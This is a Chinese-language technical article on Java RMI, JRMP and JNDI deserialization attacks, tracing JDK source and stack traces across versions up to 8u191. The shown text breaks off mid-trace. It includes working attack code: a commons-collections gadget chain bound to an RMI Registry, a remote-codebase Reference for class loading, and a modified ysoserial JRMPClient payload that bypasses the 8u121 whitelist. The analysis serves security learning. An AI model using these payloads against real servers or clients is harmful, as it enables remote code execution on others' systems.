0x01 前言
前段时间，发了一篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》，以概念和例子，粗略的讲解了什么是RMI，什么是JRMP、以及什么是JNDI，本来，我的初衷是为了照顾初学者，还有没多少Java基础的学习者，让他们能初步了解RMI\JRMP\JNDI，而不被很多讲得不清不楚的文章搞得迷迷糊糊，浪费了大量的时间。
但是，最近我发现，虽说文章大部分人也看懂了，而有小部分准备深入研究Java安全的人，对于稍微深入一点的部分会有点迷惑，因此，我准备新开这篇文章，以简单的源码浅析，去把它搞清楚。
在阅读这篇文章之前，我希望你能简单的看看这篇文章《基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI》，先搞清楚什么是RMI、JRMP、JNDI，以及什么是RMI Registry等等概念。
在文章内容开始之前，先做一个高度的总结，貌似会比较友好，而后面的文章内容，将会以这个顺序去慢慢讲解：
- RMI攻击主要分3种目标：RMI Client、RMI Server、RMI Registry。
- 使用远程Reference字节码进行攻击。
- 从jdk8u121开始，RMI加入了反序列化白名单机制，JRMP的payload登上舞台，这里的payload指的是ysoserial修改后的JRMPClient。
- 从jdk8u121开始，RMI远程Reference代码默认不信任，RMI远程Reference代码攻击方式开始失效。
- 从jdk8u191开始，LDAP远程Reference代码默认不信任，LDAP远程Reference代码攻击方式开始失效，需要通过javaSerializedData返回序列化gadget方式实现攻击。
0x02 从JDK不同版本进行源码分析
最早的最早，从分布式概念出现以后，工程师们，制造了一种，基于Java语言的远程方法调用的东西，它叫RMI（Remote Method Invocation），我们使用Java代码，可以利用这种技术，去跨越JVM，调用另一个JVM的类方法。
而在使用RMI之前，我们需要把被调用的类，注册到一个叫做RMI Registry的地方，只有把类注册到这个地方，调用者就能通过RMI Registry找到类所在JVM的ip和port，才能跨越JVM完成远程方法的调用。
调用者，我们称之为客户端，被调用者，我们则称之为服务端。
RMI Registry，我们又叫它为RMI注册中心，它是一个独立的服务，但是，它又可以与服务端存在于同一个JVM内，而RMI Registry服务的创建非常的简单，仅需一行代码即可完成。
创建RMI Registry服务：
LocateRegistry.createRegistry(1099);这就是，创建RMI Registry服务的代码，在创建RMI Registry服务之后，我们就能像前面所说一样，服务端通过与RMI Registry建立的TCP连接，注册一个可被远程调用的类进去，然后客户端，从RMI Registry服务获取到服务端注册类的信息，从而与服务端建立TCP连接，完成远程方法调用（RMI）。但这里有一个必须要注意的地方，当你使用独立JVM去部署RMI Registry的时候，必须把被调用类实现的接口，也要放在RMI Registry类加载器能加载的地方。类似下面所说的nterface HelloService
服务端注册服务类到RMI Registry：
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {
protected HelloServiceImpl() throws RemoteException {
}
@Override
public String sayHello() {
System.out.println("hello!");
return "hello!";
}
}
public class RMIServer {
public static void main(String[] args) {
try {
LocateRegistry.getRegistry("127.0.0.1", 1099).bind("hello", new HelloServiceImpl());
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
}
}
}客户端获取注册类信息，并调用：
public interface HelloService extends Remote {
String sayHello() throws RemoteException;
}
public class RMIClient {
public static void main(String[] args) {
try {
HelloService helloService = (HelloService) LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");
System.out.println(helloService.sayHello());;
} catch (RemoteException | NotBoundException e) {
e.printStackTrace();
}
}
}这里说明一下，当执行Registry registry = LocateRegistry.createRegistry(1099);的时候，返回的registry对象类是sun.rmi.registry.RegistryImpl，其内部的ref，也就是sun.rmi.server.UnicastServerRef，持有sun.rmi.registry.RegistryImpl_Skel类型的对象变量ref。
而服务端以及客户端，执行Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);返回的是sun.rmi.registry.RegistryImpl_Stub。
当服务端对实现了HelloService接口并继承了UnicastRemoteObject类的HelloServiceImpl实例化时，在其父类UnicastRemoteObject中，会对当前对象进行导出，返回一个当前对象的stub，也就是HelloService_stub，在其执行registry.bind("hello", helloService);的时候，会把这个stub对象，发送到RMI Registry存根。
当客户端执行HelloService helloService = (HelloService) registry.lookup("hello")的时候，就会从RMI Registry获取到服务端存进去的stub。
接着客户端就可以通过stub对象，对服务端发起一个远程方法调用helloService.sayHello()，stub对象，存储了如何跟服务端联系的信息，以及封装了RMI的通讯实现细节，对开发者完全透明。
jdk版本 < jdk8u121
接下来，开始从小于jdk8u121版本的jdk8u112版本进行分析。
前面也描述的很清楚了，RMI Registry的创建，从LocateRegistry.createRegistry(1099);开始，这个方法执行以后，就会创建一个监听1099端口的ServerSocket，当RMI服务端执行bind的时候，会发送stub的序列化数据过来，最后在RMI Registry的sun.rmi.registry.RegistryImpl_Skel#dispatch方法被处理。
整个执行栈是这样的：
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1640924712 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)而在这个dispatch方法中，我们可以清晰的看到，对序列化数据进行了反序列化操作
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch(var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}
var6.bind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}
var8 = var6.lookup(var7);
try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}
var6.rebind(var7, var8);
try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}
var6.unbind(var7);
try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}可以看到，根据传输过来的数据头，一共分为了0、1、2、3、4五个case处理逻辑，那么，我们看看服务端在执行bind方法注册服务类到RMI Registry的时候，到底传过来的是case多少。
代码位于sun.rmi.registry.RegistryImpl_Stub#bind
public void bind(String var1, Remote var2) throws AccessException, AlreadyBoundException, RemoteException {
try {
RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);
try {
ObjectOutput var4 = var3.getOutputStream();
var4.writeObject(var1);
var4.writeObject(var2);
} catch (IOException var5) {
throw new MarshalException("error marshalling arguments", var5);
}
super.ref.invoke(var3);
super.ref.done(var3);
} catch (RuntimeException var6) {
throw var6;
} catch (RemoteException var7) {
throw var7;
} catch (AlreadyBoundException var8) {
throw var8;
} catch (Exception var9) {
throw new UnexpectedException("undeclared checked exception", var9);
}
}可以看到RemoteCall var3 = super.ref.newCall(this, operations, 0, 4905912898345647071L);第三个参数，也就是0，并且在其后向RMI Registry写了两个序列化对象数据。
接着回到RMI Registry，我们可以看到，对于case=0的时候，毫无疑问，对RMI服务端bind时发过来的序列化数据进行了反序列化，也就是说，通过RMI服务端执行bind，我们就可以攻击RMI Registry注册中心，导致其反序列化RCE。
接下来，我们进一步分析RMI客户端lookup的时候，具体做了什么操作。
通过debug，可以看到，RMI客户端执行lookup部分代码位于sun.rmi.registry.RegistryImpl_Stub#lookup
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
try {
RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(var1);
} catch (IOException var18) {
throw new MarshalException("error marshalling arguments", var18);
}
super.ref.invoke(var2);
Remote var23;
try {
ObjectInput var6 = var2.getInputStream();
var23 = (Remote)var6.readObject();
} catch (IOException var15) {
throw new UnmarshalException("error unmarshalling return", var15);
} catch (ClassNotFoundException var16) {
throw new UnmarshalException("error unmarshalling return", var16);
} finally {
super.ref.done(var2);
}
return var23;
} catch (RuntimeException var19) {
throw var19;
} catch (RemoteException var20) {
throw var20;
} catch (NotBoundException var21) {
throw var21;
} catch (Exception var22) {
throw new UnexpectedException("undeclared checked exception", var22);
}
}跟RMI服务端bind一样，此处也执行了RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);，不过第三个参数为2，也就是说RMI Registry会执行其case=2的操作。
接着，在lookup中var3.writeObject(var1);对参数var1对象进行了序列化发送至RMI Registry，然后对RMI Registry的返回数据进行了反序列化var23 = (Remote)var6.readObject();，也就是说，lookup方法，理论上，我们可以在客户端用它去主动攻击RMI Registry，也能通过RMI Registry去被动攻击客户端，只不过lookup发送的序列化数据似乎只能发送String类型，但是，我们完全可以在debug的情况下，控制发送其它类型的序列化数据，达到攻击RMI Registry的效果。
前面，我们已经搞明白了两个目标的攻击方法：
- RMI服务端使用bind方法可以实现主动攻击RMI Registry
- RMI客户端使用lookup方法理论上可以主动攻击RMI Registry
- RMI Registry在RMI客户端使用lookup方法的时候，可以实现被动攻击RMI客户端
但是，还有一个目标，也就是RMI服务端，我们可以怎么样去攻击呢？
既然，前面已经说过，客户端与服务端之间的交流都被封装在从RMI Registry获取到的stub中，那么，我们就对探究探究。
在对lookup后返回客户端的HelloService进行debug后发现，它是一个Java的动态代理对象，真正的逻辑由RemoteObjectInvocationHandler执行，下面是它的部分执行栈：
invoke:152, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
sayHello:-1, $Proxy0 (com.sun.proxy)
main:18, RMIClient (com.threedr3am.bug.rmi.client)在UnicastRef的invoke方法中，我们可以发现，对于远程调用的传参，客户端会把参数进行序列化后传到服务端，代码位于sun.rmi.server.UnicastRef#marshalValue
而对于远程调用，客户端会把服务端的返回结果进行反序列化，代码位于sun.rmi.server.UnicastRef#unmarshalValue
也就是说，在这个远程调用的过程中，我们可以想办法，把参数的序列化数据替换成恶意序列化数据，我们就能攻击服务端，而服务端，也能替换其返回的序列化数据为恶意序列化数据，进而被动攻击客户端。
那么，到这里，我相信，大家应该都搞清楚了，每个目标的攻击原理了。这里友情提醒，刚刚你们也看到了，在你攻击对方的时候，如果这是一个陷阱，说不定，反过来你就被人getshell了。
但是，有个问题，既然是反序列化攻击，那么，我们必须得找到能使用的gadget吧？如果没有gadget，那就谈不上反序列化RCE了吧？
没错，反序列化RCE下gadget的确很重要，若是没有gadget的依赖，那么基本就是束手无决了，像前面所说的，三个目标的攻击，我们都可以利用gadget，构造恶意的序列化数据达到反序列化攻击RCE。
但是这里就要讲讲Reference对象，在特殊情况下，可以不需要gadget依赖的存在，亦或者说Reference也是一个gadget。
当我们通过这种方式，使用服务端bind注册一个Reference对象到RMI Registry的时候：
Registry registry = LocateRegistry.getRegistry(1099);
//TODO 把resources下的Calc.class 或者 自定义修改编译后target目录下的Calc.class 拷贝到下面代码所示http://host:port的web服务器根目录即可
Reference reference = new Reference("Calc","Calc","http://localhost/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Calc",referenceWrapper);Reference构造方法参数：
public Reference(String className, String factory, String factoryLocation) {
this(className);
classFactory = factory;
classFactoryLocation = factoryLocation;
}当我们在客户端，执行这样的代码，去lookup RMI Registry的时候
new InitialContext().lookup("rmi://127.0.0.1:1099/Calc");其执行栈大致如下：
getObjectInstance:296, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:22, RMIClient (com.threedr3am.bug.rmi.client)然后，我们看到NamingManager的getObjectInstance方法代码：
public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception {
ObjectFactory factory;
// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}
// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}
Object answer;
if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;
} else {
// if reference has no factory, check for addresses
// containing URLs
answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}
// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}接着，执行到javax.naming.spi.NamingManager#getObjectFactoryFromReference方法：
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}最后，会通过这一行代码clas = helper.loadClass(factoryName, codebase);完成对远程class的读取加载，其中factoryName为我们服务端bind服务时传的Reference的Calc值，而codebase则是http://localhost/，就这样，我们就可以让客户端在lookup的时候，无需其他gadget，直接让其加载远程恶意class，达到RCE。
jdk版本 = jdk8u121
在jdk8u121的时候，加入了反序列化白名单的机制，导致了几乎全部gadget都不能被反序列化了，究竟有哪些类被列入白名单呢？我们一探究竟
那，我们直接bind一个恶意gadget到RMI Registry看看吧
/**
* RMI服务端攻击RMI Registry
*
* 需要服务端和注册中心都存在此依赖 org.apache.commons:commons-collections4:4.0
*
* @author threedr3am
*/
public class AttackRMIRegistry {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("threedr3am", makePayload(new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})), Remote.class);
registry.bind("hello", remote);
} catch (AlreadyBoundException | RemoteException e) {
e.printStackTrace();
} catch (Exception e) {
e.printStackTrace();
}
}
private static Object makePayload(String[] args) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(args[0]);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
}执行后会发现，RMI Registry输出了ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 6, depth: 2, bytes: 285, ex: n/a
，明显就是被过滤了，这个gadget。
跟踪ObjectInputStream的反序列化，过滤gadget大概位置在
registryFilter:389, RegistryImpl (sun.rmi.registry)
checkInput:-1, 1345636186 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1228, ObjectInputStream (java.io)
readProxyDesc:1771, ObjectInputStream (java.io)
readClassDesc:1710, ObjectInputStream (java.io)
readOrdinaryObject:1986, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)跟进RegistryImpl的registryFilter方法
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
if (var0.depth() > (long)REGISTRY_MAX_DEPTH) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 == null) {
return Status.UNDECIDED;
} else {
if (var2.isArray()) {
if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) {
return Status.REJECTED;
}
do {
var2 = var2.getComponentType();
} while(var2.isArray());
}
if (var2.isPrimitive()) {
return Status.ALLOWED;
} else {
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
}
}
}
}可以看到，最后的白名单判断：
- String.clas
- Number.class
- Remote.class
- Proxy.class
- UnicastRef.class
- RMIClientSocketFactory.class
- RMIServerSocketFactory.class
- ActivationID.class
- UID.class
看到这个白名单，也就是说，几乎全部gadget基本都凉了。
这时候，我们看向ysoserial，它有一个payload是ysoserial.payloads.JRMPClient，我们看看它payload的内容
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);但是，可惜的是RemoteObjectInvocationHandler不在白名单内，那怎么办呢？有大佬发现，其实只要做一点点修改，就能打了，重点在UnicastRef这个类中
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));修改后的payload只有三行代码，但是UnicastRef恰恰就在白名单内。
那么，这个payload到底做了什么事情呢？这时候，我们可以跟到客户端和服务端执行的LocateRegistry.getRegistry("127.0.0.1", 1099);源码中
public static Registry getRegistry(String host, int port)
throws RemoteException
{
return getRegistry(host, port, null);
}
public static Registry getRegistry(String host, int port,
RMIClientSocketFactory csf)
throws RemoteException
{
Registry registry = null;
if (port <= 0)
port = Registry.REGISTRY_PORT;
if (host == null || host.length() == 0) {
// If host is blank (as returned by "file:" URL in 1.0.2 used in
// java.rmi.Naming), try to convert to real local host name so
// that the RegistryImpl's checkAccess will not fail.
try {
host = java.net.InetAddress.getLocalHost().getHostAddress();
} catch (Exception e) {
// If that failed, at least try "" (localhost) anyway...
host = "";
}
}
/*
* Create a proxy for the registry with the given host, port, and
* client socket factory. If the supplied client socket factory is
* null, then the ref type is a UnicastRef, otherwise the ref type
* is a UnicastRef2. If the property
* java.rmi.server.ignoreStubClasses is true, then the proxy
* returned is an instance of a dynamic proxy class that implements
* the Registry interface; otherwise the proxy returned is an
* instance of the pregenerated stub class for RegistryImpl.
**/
LiveRef liveRef =
new LiveRef(new ObjID(ObjID.REGISTRY_ID),
new TCPEndpoint(host, port, csf, null),
false);
RemoteRef ref =
(csf == null) ? new UnicastRef(liveRef) : new UnicastRef2(liveRef);
return (Registry) Util.createProxy(RegistryImpl.class, ref, false);
}可以很清楚的看到，这个方法执行最后返回的Registry，跟这个payload三行代码是一样的，而LocateRegistry.getRegistry("127.0.0.1", 1099);这行代码的意思，就是跟RMI Registry建立连接，那么这三行代码的意义就无疑了。
而既然这是一个gadget，那么反序列化的时候如何去触发呢？我们看看UnicastRef
public class UnicastRef implements RemoteRef
public interface RemoteRef extends java.io.Externalizable可以看到，它间接的实现了Externalizable接口，熟悉的人就会知道，在其反序列化的时候会触发readExternal方法的执行，类似readObject
而在这个payload中，我们可以把host和port指定RMI Registry，然后跟踪其执行栈，可以发现RMI Registry执行栈如下：
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:450, UnicastServerRef (sun.rmi.server)
dispatch:294, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1095644560 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)其源码：
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != -669196253586618813L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
DGCImpl var6 = (DGCImpl)var1;
ObjID[] var7;
long var8;
switch(var3) {
case 0:
VMID var39;
boolean var40;
try {
ObjectInput var14 = var2.getInputStream();
var7 = (ObjID[])var14.readObject();
var8 = var14.readLong();
var39 = (VMID)var14.readObject();
var40 = var14.readBoolean();
} catch (IOException var36) {
throw new UnmarshalException("error unmarshalling arguments", var36);
} catch (ClassNotFoundException var37) {
throw new UnmarshalException("error unmarshalling arguments", var37);
} finally {
var2.releaseInputStream();
}
var6.clean(var7, var8, var39, var40);
try {
var2.getResultStream(true);
break;
} catch (IOException var35) {
throw new MarshalException("error marshalling return", var35);
}
case 1:
Lease var10;
try {
ObjectInput var13 = var2.getInputStream();
var7 = (ObjID[])var13.readObject();
var8 = var13.readLong();
var10 = (Lease)var13.readObject();
} catch (IOException var32) {
throw new UnmarshalException("error unmarshalling arguments", var32);
} catch (ClassNotFoundException var33) {
throw new UnmarshalException("error unmarshalling arguments", var33);
} finally {
var2.releaseInputStream();
}
Lease var11 = var6.dirty(var7, var8, var10);
try {
ObjectOutput var12 = var2.getResultStream(true);
var12.writeObject(var11);
break;
} catch (IOException var31) {
throw new MarshalException("error marshalling return", var31);
}
default:
throw new UnmarshalException("invalid method number");
}
}
}在debug中，我们可以发现第三个参数为1，也就是说，其中sun.rmi.transport.DGCImpl_Skel#dispatch的代码，会执行到case=1的部分，可以看到，其中做了writeObject，那么，也就是说这三行payload的反序列化，会与RMI Registry连接上，执行分布式的GC，并且RMI Registry会发送序列化数据给连接发起者，最终造成反序列化，而反序列化部分代码，我们这里简单的跟一下吧。
其执行栈大概如下：
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readExternalData:2062, ObjectInputStream (java.io)
readOrdinaryObject:2011, ObjectInputStream (java.io)
readObject0:1535, ObjectInputStream (java.io)
readObject:422, ObjectInputStream (java.io)
deserialize:27, Deserializer (ysoserial)
deserialize:22, Deserializer (ysoserial)
run:60, PayloadRunner (ysoserial.payloads.util)
main:84, JRMPClient1 (ysoserial.payloads)跟进DGCImpl_Stub的dirty方法，可以看到：
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {
try {
RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);
try {
ObjectOutput var6 = var5.getOutputStream();
var6.writeObject(var1);
var6.writeLong(var2);
var6.writeObject(var4);
} catch (IOException var20) {
throw new MarshalException("error marshalling arguments", var20);
}
super.ref.invoke(var5);
Lease var24;
try {
ObjectInput var9 = var5.getInputStream();
var24 = (Lease)var9.readObject();
} catch (IOException var17) {
throw new UnmarshalException("error unmarshalling return", var17);
} catch (ClassNotFoundException var18) {
throw new UnmarshalException("error unmarshalling return", var18);
} finally {
super.ref.done(var5);
}
return var24;
} catch (RuntimeException var21) {
throw var21;
} catch (RemoteException var22) {
throw var22;
} catch (Exception var23) {
throw new UnexpectedException("undeclared checked exception", var23);
}
}其中，的确对返回数据进行了反序列化，也就是说，在jdk8u121之后，可以通过UnicastRef这个在RMI反序列化白名单内的gadget进行攻击。
因此，我们可以通过这个payload绕过RMI反序列化白名单限制，虽然，白名单是绕过了，但是还是存在gadget依赖问题，如果没有相应的gadget依赖，我们也没办法达到RCE。
不过，这里可以总结一下了：ysoserial的JRMPClient payload是为了绕过jdk8u121后出现的白名单限制。
说完需要gadget依赖的打法限制问题了，那么我们再来看看前面所讲的使用JNDI攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")的客户端。
在jdk8u121之后，对于Reference加载远程代码，jdk的信任机制，在通过rmi加载远程代码的时候，会判断环境变量com.sun.jndi.rmi.object.trustURLCodebase是否为true，而其在121版本及后，默认为false，也就是说，在jdk8u121之后，我们就没办法通过rmi服务的JNDI方式打客户端了，那么，有没有其他办法呢？
有，使用ldap协议的JNDI，具体怎么搭这样的一个服务这里就不讲了，marshalsec也有现成的，我们这里只试试对客户端的攻击，并看看客户端做了什么事情吧。
大概触发RCE的执行栈是这样的：
getObjectFactoryFromReference:146, NamingManager (javax.naming.spi)
getObjectInstance:189, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
main:17, JndiAttackLookup (com.threedr3am.bug.rmi.client)在里面，我并没有找到相关类似远程代码信任机制的东西，也就是说，通过ldap协议的jndi服务方式，在jdk8u121后，能攻击执行new InitialContext().lookup("rmi://127.0.0.1:1099/Calc")的客户端
jdk版本 > jdk8u191
为什么继续讲jdk8u191呢，因为在jdk8u191之后，加入LDAP远程Reference代码信任机制，LDAP远程代码攻击方式开始失效，也就是系统变量com.sun.jndi.ldap.object.trustURLCodebase默认为false（CVE-2018-3149）
既然不能去Reference加载远程代码执行了，那么，是不是能不用Reference去加载呢？
对，还有一种方式，看执行栈：
deserializeObject:527, Obj (com.sun.jndi.ldap)
decodeObject:239, Obj (com.sun.jndi.ldap)
c_lookup:1051, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
